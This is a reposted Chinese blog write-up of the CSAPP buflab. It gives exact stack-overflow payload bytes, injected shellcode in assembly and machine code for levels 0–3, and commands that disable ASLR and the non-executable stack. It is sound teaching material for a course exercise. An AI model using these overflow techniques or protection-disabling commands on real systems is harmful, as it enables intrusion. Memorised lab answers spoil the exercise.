CSAPP buflab

2024-03-11 06:32
文章标签 csapp buflab

本文主要是介绍CSAPP buflab,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

level 0

由getbuf中的0x08048fe6 <+6>: lea -0xc(%ebp),%eax可知buf所在的地址为%ebp-0xc,由栈帧的结构可知getbuf中的返回地址保存在%ebp+4中,所以输入16个字节后输入的内容为smoke的地址0x08048e20,输入的内容为64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 20 8e 04 08。

level 1

如同level 0,在%ebp+4(写入fizz的地址0x08048dc0,当推出getbuf函数后%ebp指向源%ebp+8,在fizz中执行完push %ebp后%ebp为源%ebp+4,根据fizz 0x08048dc7 <+7>: mov 0x8(%ebp),%ebx可知,val保存在源%ebp+12,所以在填完fizz的地址后4个字节开始数据cookie的值0x113e5eb1。输入的内容为c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff。

level 2

0x804a1dc为global的地址,buf的地址为0xffffb62c,通过在buf处填入代码,再通过修改eip来使得getbuf return后返回buf处执行代码,其中填充的恶意代码为

movl $0x113e5eb1,0x804a1dc
pushl $0x08048d60
ret

意思为将global的值设为cookie,将bang函数的地址 $0x08048d60压入栈,ret后返回bang函数处执行。
恶意代码地址为buf的地址:0xffffb62c
生成机器代码:

gcc -m32 -c l2_code.S
objdump -d l2_code.o > l2_code.d

l2_code.d中的内容为
00000000 <.text>:
0: c7 05 dc a1 04 08 b1 movl $0x113e5eb1,0x804a1dc
7: 5e 3e 11
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
在l2.txt中填入c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff(为什么执行代码填入顺序和l2_code.d中的一致,而地址却相反?)

执行后发现出现segmentfault,原因时不能执行栈上的代码,解决方案:

 sudo apt-get install execstackexecstack -s ./bufbombsusysctl -w kernel.randomize_va_space=0

level 3

要跳到12行,要满足两个条件(1)local == 0xdeadbeef(2)val==cookie。由于使用了volatile关键字声明local,所以读local会直接从内存中读取而不是寄存器中读取,所以当函数执行完getbuf()返回test时%ebp必须和原来的相同,且getbuf返回cookie。
通过gdb查看test()中ebp的值为0xffffb658,getbuf返回后执行的下一条指令的地址为0x0804901e
插入的恶意代码为:

movl $0x113e5eb1,%eax
movl $0xffffb658,%ebp
pushl $0x0804901e
ret

最后生成l3_code.d中的内容为
Disassembly of section .text:

00000000 <.text>:
0: b8 b1 5e 3e 11 mov $0x113e5eb1,%eax
5: bd 58 b6 ff ff mov $0xffffb658,%ebp
a: 68 1e 90 04 08 push $0x804901e
f: c3 ret
最终的输入为
b8 b1 5e 3e 11 bd 58 b6 ff ff 68 1e 90 04 08 c3 2c b6 ff ff

这篇关于CSAPP buflab的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/796942

相关文章

[学习笔记]《CSAPP》深入理解计算机系统 - Chapter 3 程序的机器级表示

总结一些第三章的一些关键信息 Chapter 3 程序的机器级表示结构 updating... Chapter 3 程序的机器级表示 局部变量通常保存在寄存器中,而不是内存中,访问寄存器比内存快的多. 有些时候,局部数据必须存放在内存中, 寄存器不足够存放所有的本地数据对一个局部变量使用地址运算符 &, 因此必须能够为它产生一个地址某些局部变量是数组或结构,因此必须能够通过数组或

CSAPP Data Lab

CSAPP 的第一个 Lab,对应知识点为书中的第 2 章(信息的表示与处理),要求使用受限制的运算符和表达式实现一些位操作。主要分为两个部分:整数部分和浮点数部分。其中整数部分限制较多,比较偏重技巧性,部分题个人认为很有难度。而浮点数部分则比较基础,主要考察对 IEEE 754 标准的熟悉程度,代码较长,但思路相对简单。 bitXor 思路 使用德-摩根定律进行推导,推导过程如下: 代

深入理解计算机系统 CSAPP 第七章 与静态库链接

//addvec.cint addcnt = 0;void addvec(int *x ,int *y,int *z,int n){int i;addcnt++;for(i=0;i<n;i++)z[i]=x[i]+y[i];} //multvec.cint multcnt = 0;void multvec(int *x ,int *y,int *z,int n){int i;mult

CSAPP《深入理解计算机系统》深读笔记4——第三章-程序的机器级表示(一)

CSAPP《深入理解计算机系统》深读笔记4——第三章-程序的机器级表示(一) 你好我是拉依达,这是我秋招结束后更新的第一个系列。我将争取完成“ 年轻人,你渴望力量吗?”的全套深度笔记。 今天开始进行第一本CSAPP:深入理解计算机系统。 程序的机器级表示 编译器基于编程语言的规则、目标机器的指令集和操作系统遵循的惯例,经过一系列的阶段生成机器代码。 GCC C语言编译器以汇编代码的形式

深入理解计算机系统 CSAPP 家庭作业6.35

第一步先求(S,E,B,m) 题目说共C=128个字节,块大小B为16个字节,那就是分为八组:0,1,2,3,4,5,6,7.然后每组存4个int 每个4字节 C=B*E*S .B=16 ,直接映射的E就是1,所以S=8 (S,E,B,m)=(8,1,16,7) C128M128s3b4t0 sizeof(int)==0100地址(二进制)COCIsrc[0][0]00000

深入理解计算机系统 CSAPP 家庭作业6.37

S=256 N=64时: sumA:这个很简单了,不说了 sumB:如下表. i递增时一直不命中 读到j=1,i=0 即读a[0][1]时 组0存放的是a[48][0] -a[48][3] 接着读a[1][1]时,组16放的是a[49][0]-a[49][3],j递增之后还是一直不命中 组0:a[0][0]a[16][0]a[32][0]a[48][0]a[0][1]组16:a

CSAPP-02程序开发和执行过程

1.最早的程序开发过程 2.汇编语言开发过程 3.高级语言开发程序 参考:袁春风老师课件

CSAPP-01计算机系统基本组成与基本功能

1.冯·诺依曼结构计算机模型 2.现代计算机结构模型 注:忽略做菜的例子 3.计算机系统的抽象层转换 参考:南京大学袁春风老师课件

【CSAPP导读】导论

目录 🌈 前言🌈 📁 书籍介绍 📁 阅读路线 📁 总结 🌈 前言🌈         《深入理解计算机系统》书籍是由布赖恩特(Bryant,R.E.)著的一本经典计算机科学教材,常被简称为"CSAPP",但是学习CSAPP是非常难的一件事情,原因主要由于教学水平参差不齐,教材阅读难度较大,相关资料稀少,对初学者较不友好。所以,这个专栏的主要目的就是解决这个问题,即从简单